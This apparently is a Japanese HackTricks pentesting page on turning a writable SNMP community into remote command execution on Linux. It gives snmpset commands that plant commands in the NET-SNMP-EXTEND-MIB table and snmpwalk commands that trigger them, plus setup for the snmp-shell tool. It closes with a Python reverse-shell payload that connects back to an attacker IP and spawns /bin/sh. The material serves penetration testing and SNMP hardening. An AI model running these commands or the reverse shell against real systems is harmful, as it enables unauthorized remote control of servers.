SNMP RCE

htARTE(HackTricks AWS Red Team Expert) htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ!

HackTricksをサポートする他の方法:

SNMP RCE

SNMPは、管理者がデバイスやサーバーのデフォルト構成を見落とした場合、攻撃者によって悪用される可能性があります。Linuxオペレーティングシステム上でSNMPコミュニティを悪用し(rwcommunity)、サーバー上でコマンドを実行することができます。

追加コマンドでサービスを拡張する

SNMPサービスを拡張し、追加のコマンドを追加するには、新しい**"nsExtendObjects"テーブルに行を追加**することが可能です。これは、snmpsetコマンドを使用し、実行可能ファイルへの絶対パスや実行するコマンドなどの必要なパラメータを提供することで達成できます。

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

コマンドの実行のためのインジェクション

SNMPサービスで実行するコマンドをインジェクトするには、呼び出されるバイナリ/スクリプトの存在と実行可能性が必要です。**NET-SNMP-EXTEND-MIB**は、実行可能ファイルへの絶対パスの提供を義務付けています。

インジェクトされたコマンドの実行を確認するために、snmpwalkコマンドを使用してSNMPサービスを列挙することができます。出力にはコマンドとそれに関連する詳細が表示されます。絶対パスも含まれます:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

注入されたコマンドの実行

注入されたコマンドが読み取られると、実行されます。この動作は**run-on-read()**として知られています。コマンドの実行は、snmpwalkの読み取り中に観察できます。

SNMPを使用したサーバーシェルの取得

サーバーを制御し、サーバーシェルを取得するために、mxrchによって開発されたPythonスクリプトを使用できます。https://github.com/mxrch/snmp-shell.gitから利用できます。

また、特定のコマンドをSNMPに注入することで、逆シェルを手動で作成することもできます。このコマンドは、snmpwalkによってトリガーされ、攻撃者のマシンに逆シェル接続を確立し、被害者マシンを制御できるようにします。 このコマンドを実行するための前提条件をインストールできます:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

またはリバースシェル:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated